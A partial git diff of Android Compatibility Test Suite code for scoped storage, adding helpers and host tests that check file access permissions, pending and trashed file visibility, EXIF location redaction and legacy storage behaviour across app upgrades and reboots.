+        return MediaStore.getRedactedUri(getContentResolver(), uri);
+    }
+
+    private void assertUriIsUnredacted(File img) throws Exception {
+        final ExifInterface exifInterface = new ExifInterface(img);
+        assertNotEquals(exifInterface.getGpsDateTime(), -1);
+
+        float[] latLong = new float[]{0, 0};
+        exifInterface.getLatLong(latLong);
+        assertNotEquals(latLong[0], 0);
+        assertNotEquals(latLong[1], 0);
+    }
+
+    private void assertUriIsRedacted(ExifInterface redactedExifInf) {
+        assertEquals(redactedExifInf.getGpsDateTime(), -1);
+        float[] latLong = new float[]{0, 0};
+        redactedExifInf.getLatLong(latLong);
+        assertEquals(latLong[0], 0.0, 0.0);
+        assertEquals(latLong[1], 0.0, 0.0);
+    }
+
+    private Cursor getRedactedCursor(Uri redactedUri) {
+        Cursor redactedUriCursor = getContentResolver().query(redactedUri, null, null, null);
+        assertNotNull(redactedUriCursor);
+        assertThat(redactedUriCursor.moveToFirst()).isTrue();
+
+        return redactedUriCursor;
+    }
+
+    private boolean canRenameFile(File file) {
+        return file.renameTo(new File(file.getAbsolutePath() + "test"));
+    }
+
+    private void testTransformsDirCommon(File file) throws Exception {
+        assertThat(file.delete()).isFalse();
+        assertThat(canRenameFile(file)).isFalse();
+
+        final File newFile = new File(file.getAbsolutePath(), "test");
+        assertThat(newFile.mkdir()).isFalse();
+        assertThrows(IOException.class, () -> newFile.createNewFile());
+    }
+
+    private String getStringFromCursor(Cursor c, String colName) {
+        return c.getString(c.getColumnIndex(colName));
+    }
+
+    private File stageImageFileWithMetadata(String name) throws Exception {
+        final File img = new File(
+                Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM), name);
+
+        try (InputStream in =
+                     getContext().getResources().openRawResource(R.raw.img_with_metadata);
+             OutputStream out = new FileOutputStream(img)) {
+            // Dump the image we have to external storage
+            FileUtils.copy(in, out);
+        }
+
+        return img;
+    }
+
+    private void assertCanWriteAndRead(File file, byte[] data) throws Exception {
+        // Assert we can write to images/videos
+        try (FileOutputStream fos = new FileOutputStream(file)) {
+            fos.write(data);
+        }
+        assertFileContent(file, data);
+    }
+
+    /**
+     * Checks restrictions for opening pending and trashed files by different apps. Assumes that
+     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
+     * method doesn't uninstall given {@code testApp} at the end.
+     */
+    private void assertOpenPendingOrTrashed(Uri uri, boolean isImageOrVideo)
+            throws Exception {
+        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+
+        // App can open its pending or trashed file for read or write
+        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ false));
+        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ true));
+
+        // App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
+        // write
+        assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+        assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+
+        assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ false));
+        assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ true));
+
+        final int resAppUid =
+                getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
+        try {
+            allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+            if (isImageOrVideo) {
+                // System Gallery can open any pending or trashed image/video file for read or write
+                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+                assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+            } else {
+                // System Gallery can't open other app's pending or trashed non-media file for read
+                // or write
+                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+                assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+            }
+        } finally {
+            denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
+     * Checks restrictions for listing pending and trashed files by different apps.
+     */
+    private void assertListPendingOrTrashed(Uri uri, File file, boolean isImageOrVideo)
+            throws Exception {
+        final String parentDirPath = file.getParent();
+        assertTrue(new File(parentDirPath).isDirectory());
+
+        final List<String> listedFileNames = Arrays.asList(new File(parentDirPath).list());
+        assertThat(listedFileNames).doesNotContain(file);
+
+        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+
+        assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
+
+        // App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
+        assertThat(listAs(APP_A_HAS_RES, parentDirPath)).doesNotContain(
+                pendingOrTrashedFile.getName());
+
+        final int resAppUid =
+                getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
+        // File Manager can see any pending or trashed file.
+        assertThat(listAs(APP_FM, parentDirPath)).contains(pendingOrTrashedFile.getName());
+
+
+        try {
+            allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+            if (isImageOrVideo) {
+                // System Gallery can see any pending or trashed image/video file.
+                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertThat(listAs(APP_A_HAS_RES, parentDirPath)).contains(
+                        pendingOrTrashedFile.getName());
+            } else {
+                // System Gallery can't see other app's pending or trashed non media file.
+                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertThat(listAs(APP_A_HAS_RES, parentDirPath))
+                        .doesNotContain(pendingOrTrashedFile.getName());
+            }
+        } finally {
+            denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    private Uri createPendingFile(File pendingFile) throws Exception {
+        assertTrue(pendingFile.createNewFile());
+
+        final ContentResolver cr = getContentResolver();
+        final Uri trashedFileUri = MediaStore.scanFile(cr, pendingFile);
+        assertNotNull(trashedFileUri);
+
+        final ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.IS_PENDING, 1);
+        assertEquals(1, cr.update(trashedFileUri, values, Bundle.EMPTY));
+
+        return trashedFileUri;
+    }
+
+    private Uri createTrashedFile(File trashedFile) throws Exception {
+        assertTrue(trashedFile.createNewFile());
+
+        final ContentResolver cr = getContentResolver();
+        final Uri trashedFileUri = MediaStore.scanFile(cr, trashedFile);
+        assertNotNull(trashedFileUri);
+
+        trashFile(trashedFileUri);
+        return trashedFileUri;
+    }
+
+    private void trashFile(Uri uri) throws Exception {
+        final ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.IS_TRASHED, 1);
+        assertEquals(1, getContentResolver().update(uri, values, Bundle.EMPTY));
+    }
+
+    /**
+     * Gets file path corresponding to the db row pointed by {@code uri}. If {@code uri} points to
+     * multiple db rows, file path is extracted from the first db row of the database query result.
+     */
+    private String getFilePathFromUri(Uri uri) {
+        final String[] projection = new String[] {MediaStore.MediaColumns.DATA};
+        try (Cursor c = getContentResolver().query(uri, projection, null, null)) {
+            assertTrue(c.moveToFirst());
+            return c.getString(0);
+        }
+    }
+
+    private boolean isMediaTypeImageOrVideo(File file) {
+        return queryImageFile(file).getCount() == 1 || queryVideoFile(file).getCount() == 1;
+    }
+
+    private static void assertIsMediaTypeImage(File file) {
+        final Cursor c = queryImageFile(file);
+        assertEquals(1, c.getCount());
+    }
+
+    private static void assertNotMediaTypeImage(File file) {
+        final Cursor c = queryImageFile(file);
+        assertEquals(0, c.getCount());
+    }
+
+    private static void assertCantQueryFile(File file) {
+        assertThat(getFileUri(file)).isNull();
+        // Confirm that file exists in the database.
+        assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+    }
+
+    private static void assertCreateFilesAs(TestApp testApp, File... files) throws Exception {
+        for (File file : files) {
+            assertFalse("File already exists: " + file, file.exists());
+            assertTrue("Failed to create file " + file + " on behalf of "
+                    + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
+        }
+    }
+
+    /**
+     * Makes {@code testApp} create {@code files}. Publishes {@code files} by scanning the file.
+     * Pending files from FUSE are not visible to other apps via MediaStore APIs. We have to publish
+     * the file or make the file non-pending to make the file visible to other apps.
+     * <p>
+     * Note that this method can only be used for scannable files.
+     */
+    private static void assertCreatePublishedFilesAs(TestApp testApp, File... files)
+            throws Exception {
+        for (File file : files) {
+            assertTrue("Failed to create published file " + file + " on behalf of "
+                    + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
+            assertNotNull("Failed to scan " + file,
+                    MediaStore.scanFile(getContentResolver(), file));
+        }
+    }
+
+
+    private static void deleteFilesAs(TestApp testApp, File... files) throws Exception {
+        for (File file : files) {
+            deleteFileAs(testApp, file.getPath());
+        }
+    }
+    private static void assertCanDeletePathsAs(TestApp testApp, String... filePaths)
+            throws Exception {
+        for (String path: filePaths) {
+            assertTrue("Failed to delete file " + path + " on behalf of "
+                    + testApp.getPackageName(), deleteFileAs(testApp, path));
+        }
+    }
+
+    private static void assertCantDeletePathsAs(TestApp testApp, String... filePaths)
+            throws Exception {
+        for (String path: filePaths) {
+            assertFalse("Deleting " + path + " on behalf of " + testApp.getPackageName()
+                    + " was expected to fail", deleteFileAs(testApp, path));
+        }
+    }
+
+    private void deleteFiles(File... files) {
+        for (File file: files) {
+            if (file == null) continue;
+            file.delete();
+        }
+    }
+
+    private void deletePaths(String... paths) {
+        for (String path: paths) {
+            if (path == null) continue;
+            new File(path).delete();
+        }
+    }
+
+    private static void assertCanDeletePaths(String... filePaths) {
+        for (String filePath : filePaths) {
+            assertTrue("Failed to delete " + filePath,
+                    new File(filePath).delete());
+        }
+    }
+
+    /**
+     * For possible values of {@code mode}, look at {@link android.content.ContentProvider#openFile}
+     */
+    private static void assertCanQueryAndOpenFile(File file, String mode) throws IOException {
+        // This call performs the query
+        final Uri fileUri = getFileUri(file);
+        // The query succeeds iff it didn't return null
+        assertThat(fileUri).isNotNull();
+        // Now we assert that we can open the file through ContentResolver
+        try (ParcelFileDescriptor pfd =
+                     getContentResolver().openFileDescriptor(fileUri, mode)) {
+            assertThat(pfd).isNotNull();
+        }
+    }
+
+    /**
+     * Assert that the last read in: read - write - read using {@code readFd} and {@code writeFd}
+     * see the last write. {@code readFd} and {@code writeFd} are fds pointing to the same
+     * underlying file on disk but may be derived from different mount points and in that case
+     * have separate VFS caches.
+     */
+    private void assertRWR(ParcelFileDescriptor readPfd, ParcelFileDescriptor writePfd)
+            throws Exception {
+        FileDescriptor readFd = readPfd.getFileDescriptor();
+        FileDescriptor writeFd = writePfd.getFileDescriptor();
+
+        byte[] readBuffer = new byte[10];
+        byte[] writeBuffer = new byte[10];
+        Arrays.fill(writeBuffer, (byte) 1);
+
+        // Write so readFd has content to read from next
+        Os.pwrite(readFd, readBuffer, 0, 10, 0);
+        // Read so readBuffer is in readFd's mount VFS cache
+        Os.pread(readFd, readBuffer, 0, 10, 0);
+
+        // Assert that readBuffer is zeroes
+        assertThat(readBuffer).isEqualTo(new byte[10]);
+
+        // Write so writeFd and readFd should now see writeBuffer
+        Os.pwrite(writeFd, writeBuffer, 0, 10, 0);
+
+        // Read so the last write can be verified on readFd
+        Os.pread(readFd, readBuffer, 0, 10, 0);
+
+        // Assert that the last write is indeed visible via readFd
+        assertThat(readBuffer).isEqualTo(writeBuffer);
+        assertThat(readPfd.getStatSize()).isEqualTo(writePfd.getStatSize());
+    }
+
+    private void assertStartsWith(String actual, String prefix) throws Exception {
+        String message = "String \"" + actual + "\" should start with \"" + prefix + "\"";
+
+        assertWithMessage(message).that(actual).startsWith(prefix);
+    }
+
+    private void assertLowerFsFd(ParcelFileDescriptor pfd) throws Exception {
+        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+        String prefix = "/storage";
+
+        assertStartsWith(path, prefix);
+    }
+
+    private void assertUpperFsFd(ParcelFileDescriptor pfd) throws Exception {
+        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+        String prefix = "/mnt/user";
+
+        assertStartsWith(path, prefix);
+    }
+
+    private void assertLowerFsFdWithPassthrough(ParcelFileDescriptor pfd) throws Exception {
+        if (getBoolean("persist.sys.fuse.passthrough.enable", false)) {
+            assertUpperFsFd(pfd);
+        } else {
+            assertLowerFsFd(pfd);
+        }
+    }
+
+    private static void assertCanCreateFile(File file) throws IOException {
+        // If the file somehow managed to survive a previous run, then the test app was uninstalled
+        // and MediaProvider will remove our its ownership of the file, so it's not guaranteed that
+        // we can create nor delete it.
+        if (!file.exists()) {
+            assertThat(file.createNewFile()).isTrue();
+            assertThat(file.delete()).isTrue();
+        } else {
+            Log.w(TAG,
+                    "Couldn't assertCanCreateFile(" + file + ") because file existed prior to "
+                            + "running the test!");
+        }
+    }
+
+    private static void assertCannotReadOrWrite(File file)
+            throws Exception {
+        // App data directories have different 'x' bits on upgrading vs new devices. Let's not
+        // check 'exists', by passing checkExists=false. But assert this app cannot read or write
+        // the other app's file.
+        assertAccess(file, false /* value is moot */, false /* canRead */,
+                false /* canWrite */, false /* checkExists */);
+    }
+
+    private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite)
+            throws Exception {
+        assertAccess(file, exists, canRead, canWrite, true /* checkExists */);
+    }
+
+    private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite,
+            boolean checkExists) throws Exception {
+        if (checkExists) {
+            assertThat(file.exists()).isEqualTo(exists);
+        }
+        assertThat(file.canRead()).isEqualTo(canRead);
+        assertThat(file.canWrite()).isEqualTo(canWrite);
+        if (file.isDirectory()) {
+            if (checkExists) {
+                assertThat(file.canExecute()).isEqualTo(exists);
+            }
+        } else {
+            assertThat(file.canExecute()).isFalse(); // Filesytem is mounted with MS_NOEXEC
+        }
+
+        // Test some combinations of mask.
+        assertAccess(file, R_OK, canRead);
+        assertAccess(file, W_OK, canWrite);
+        assertAccess(file, R_OK | W_OK, canRead && canWrite);
+        assertAccess(file, W_OK | F_OK, canWrite);
+
+        if (checkExists) {
+            assertAccess(file, F_OK, exists);
+        }
+    }
+
+    private static void assertAccess(File file, int mask, boolean expected) throws Exception {
+        if (expected) {
+            assertThat(Os.access(file.getAbsolutePath(), mask)).isTrue();
+        } else {
+            assertThrows(ErrnoException.class, () -> {
+                Os.access(file.getAbsolutePath(), mask);
+            });
+        }
+    }
+
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createFileAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
+        Log.d(TAG, "Creating file " + file);
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath())).isTrue();
+    }
+
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createDirectoryAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
+        Log.d(TAG, "Creating directory " + file);
+        // Create a tmp file in the target directory, this would also create the required
+        // directory, then delete the tmp file. It would leave only new directory.
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+        assertThat(deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+    }
+
+    /**
+     * Deletes a file or directory at any location on storage (except external app data directory).
+     */
+    private void deleteAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to delete this file, since it could be outside shared storage.
+        Log.d(TAG, "Deleting file " + file);
+        deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 594fd6a..3b81646 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -137,6 +137,11 @@
     }
 
     @Test
+    public void testInsertHiddenFile() throws Exception {
+        runDeviceTest("testInsertHiddenFile");
+    }
+
+    @Test
     public void testCanRename_hasRW() throws Exception {
         runDeviceTest("testCanRename_hasRW");
     }
@@ -203,4 +208,45 @@
     public void testInsertWithUnsupportedMimeType() throws Exception {
         runDeviceTest("testInsertWithUnsupportedMimeType");
     }
+
+    @Test
+    public void testLegacySystemGalleryCanRenameImagesAndVideosWithoutDbUpdates() throws Exception {
+        runDeviceTest("testLegacySystemGalleryCanRenameImagesAndVideosWithoutDbUpdates");
+    }
+
+    @Test
+    public void testLegacySystemGalleryWithoutWESCannotRename() throws Exception {
+        revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        runDeviceTest("testLegacySystemGalleryWithoutWESCannotRename");
+    }
+
+    @Test
+    public void testLegacyWESCanRenameImagesAndVideosWithDbUpdates_hasW() throws Exception {
+        runDeviceTest("testLegacyWESCanRenameImagesAndVideosWithDbUpdates_hasW");
+    }
+
+    @Test
+    public void testScanUpdatesMetadataForNewlyAddedFile_hasRW() throws Exception {
+        runDeviceTest("testScanUpdatesMetadataForNewlyAddedFile_hasRW");
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaData() throws Exception {
+        runDeviceTest("testInsertFromExternalDirsViaData");
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaData() throws Exception {
+        runDeviceTest("testUpdateToExternalDirsViaData");
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        runDeviceTest("testInsertFromExternalDirsViaRelativePath");
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        runDeviceTest("testUpdateToExternalDirsViaRelativePath");
+    }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PreserveLegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PreserveLegacyStorageHostTest.java
new file mode 100644
index 0000000..6f3862f
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PreserveLegacyStorageHostTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertNull;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Runs the legacy file path access tests.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
+public class PreserveLegacyStorageHostTest extends BaseHostTestCase {
+    private static final String LEGACY_29_APK = "CtsLegacyStorageTestAppRequestLegacy.apk";
+    private static final String PRESERVE_30_APK = "CtsLegacyStorageTestAppPreserveLegacy.apk";
+    private static final String PACKAGE_NAME = "android.scopedstorage.cts.legacy";
+
+    protected void installApp(String appFileName) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        int userId = getCurrentUserId();
+        String result = getDevice().installPackageForUser(
+                buildHelper.getTestFile(appFileName), true, true, userId, "-t");
+        assertNull("Failed to install " + appFileName + " for user " + userId + ": " + result,
+                result);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        uninstallPackage(PACKAGE_NAME);
+    }
+
+    @Test
+    public void testPreserveLegacy() throws Exception {
+        // Most of these tests are done device-side; see RestrictedStoragePermissionTest.java
+        // This test is done on the host, because we want to verify preserveLegacyExternalStorage
+        // is sticky across a reboot.
+        installApp(LEGACY_29_APK);
+        String result = getDevice().executeShellCommand(
+                                    "appops get " + PACKAGE_NAME + " LEGACY_STORAGE");
+        assertThat(result).contains(": allow");
+
+        // Upgrade to targetSdk 30 with preserveLegacyExternalStorage
+        installApp(PRESERVE_30_APK);
+        result = getDevice().executeShellCommand(
+                                    "appops get " + PACKAGE_NAME + " LEGACY_STORAGE");
+
+        // And make sure we still have legacy
+        assertThat(result).contains(": allow");
+
+        // Reboot, and again make sure we have legacy
+        getDevice().reboot();
+        result = getDevice().executeShellCommand(
+                                    "appops get " + PACKAGE_NAME + " LEGACY_STORAGE");
+        assertThat(result).contains(": allow");
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeCoreHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeCoreHostTest.java
new file mode 100644
index 0000000..e92217d
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeCoreHostTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.device.ITestDevice;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+
+public class PublicVolumeCoreHostTest extends ScopedStorageCoreHostTest {
+    /* Used to clean up the virtual volume after the test */
+    private static ITestDevice sDevice = null;
+    private boolean mIsPublicVolumeSetup = false;
+    String executeShellCommand(String cmd) throws Exception {
+        return getDevice().executeShellCommand(cmd);
+    }
+
+    private void setupNewPublicVolume() throws Exception {
+        if (!mIsPublicVolumeSetup) {
+            assertTrue(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+            mIsPublicVolumeSetup = true;
+        }
+    }
+
+    private void setupDevice() {
+        if (sDevice == null) {
+            sDevice = getDevice();
+        }
+    }
+
+    /**
+     * Runs the given phase of PublicVolumeTest by calling into the device.
+     * Throws an exception if the test phase fails.
+     */
+    @Override
+    void runDeviceTest(String phase) throws Exception {
+        assertTrue(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.PublicVolumeTest", phase));
+    }
+
+    @Before
+    public void setup() throws Exception {
+        setupDevice();
+        setupNewPublicVolume();
+        super.setup();
+    }
+
+    @AfterClass
+    public static void deletePublicVolumes() throws Exception {
+        if (sDevice != null) {
+            sDevice.executeShellCommand("sm set-virtual-disk false");
+        }
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java
new file mode 100644
index 0000000..7d8a6e7
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Runs the core ScopedStorageTest tests.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
+public class ScopedStorageCoreHostTest extends BaseHostTestCase {
+    private boolean mIsExternalStorageSetup = false;
+
+    /**
+     * Runs the given phase of ScopedStorageTest by calling into the device.
+     * Throws an exception if the test phase fails.
+     */
+    void runDeviceTest(String phase) throws Exception {
+        assertTrue(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.ScopedStorageTest", phase));
+
+    }
+
+    private void setupExternalStorage() throws Exception {
+        if (!mIsExternalStorageSetup) {
+            runDeviceTest("setupExternalStorage");
+            mIsExternalStorageSetup = true;
+        }
+    }
+
+    @Before
+    public void setup() throws Exception {
+        setupExternalStorage();
+        executeShellCommand("mkdir /sdcard/Android/data/com.android.shell -m 2770");
+        executeShellCommand("mkdir /sdcard/Android/data/com.android.shell/files -m 2770");
+    }
+
+    @Before
+    public void revokeStoragePermissions() throws Exception {
+        revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE",
+                "android.permission.READ_EXTERNAL_STORAGE");
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
+    }
+
+    @Test
+    public void testManageExternalStorageCanCreateFilesAnywhere() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCanCreateFilesAnywhere");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
+    public void testManageExternalStorageReaddir() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageReaddir");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
+    public void testAccess_file() throws Exception {
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testAccess_file");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
+        }
+    }
+
+    @Test
+    public void testAccess_directory() throws Exception {
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE",
+                "android.permission.WRITE_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testAccess_directory");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE",
+                    "android.permission.WRITE_EXTERNAL_STORAGE");
+        }
+    }
+
+    private void grantPermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
+        for (String perm : perms) {
+            executeShellCommand("pm grant --user %d android.scopedstorage.cts %s",
+                    currentUserId, perm);
+        }
+    }
+
+    private void revokePermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
+        for (String perm : perms) {
+            executeShellCommand("pm revoke --user %d android.scopedstorage.cts %s",
+                    currentUserId, perm);
+        }
+    }
+
+    private void allowAppOps(String... ops) throws Exception {
+        for (String op : ops) {
+            executeShellCommand("cmd appops set --uid android.scopedstorage.cts %s allow", op);
+        }
+    }
+
+    private void denyAppOps(String... ops) throws Exception {
+        for (String op : ops) {
+            executeShellCommand("cmd appops set --uid android.scopedstorage.cts %s deny", op);
+        }
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index 9e29480..f1236b6 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -21,7 +21,6 @@
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.contentprovider.ContentProviderHandler;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
@@ -38,8 +37,6 @@
 public class ScopedStorageHostTest extends BaseHostTestCase {
     private boolean mIsExternalStorageSetup;
 
-    private ContentProviderHandler mContentProviderHandler;
-
     /**
      * Runs the given phase of ScopedStorageTest by calling into the device.
      * Throws an exception if the test phase fails.
@@ -71,11 +68,6 @@
 
     @Before
     public void setup() throws Exception {
-        // Set up content provider. This would install android.tradefed.contentprovider
-        // which is used to create and delete files/Dir on device side test.
-        mContentProviderHandler = new ContentProviderHandler(getDevice());
-        mContentProviderHandler.setUp();
-
         setupExternalStorage();
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell -m 2770");
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell/files -m 2770");
@@ -89,190 +81,10 @@
 
     @After
     public void tearDown() throws Exception {
-        mContentProviderHandler.tearDown();
         executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
     }
 
     @Test
-    public void testTypePathConformity() throws Exception {
-        runDeviceTest("testTypePathConformity");
-    }
-
-    @Test
-    public void testCreateFileInAppExternalDir() throws Exception {
-        runDeviceTest("testCreateFileInAppExternalDir");
-    }
-
-    @Test
-    public void testCreateFileInOtherAppExternalDir() throws Exception {
-        runDeviceTest("testCreateFileInOtherAppExternalDir");
-    }
-
-    @Test
-    public void testReadWriteFilesInOtherAppExternalDir() throws Exception {
-        runDeviceTest("testReadWriteFilesInOtherAppExternalDir");
-    }
-
-    @Test
-    public void testContributeMediaFile() throws Exception {
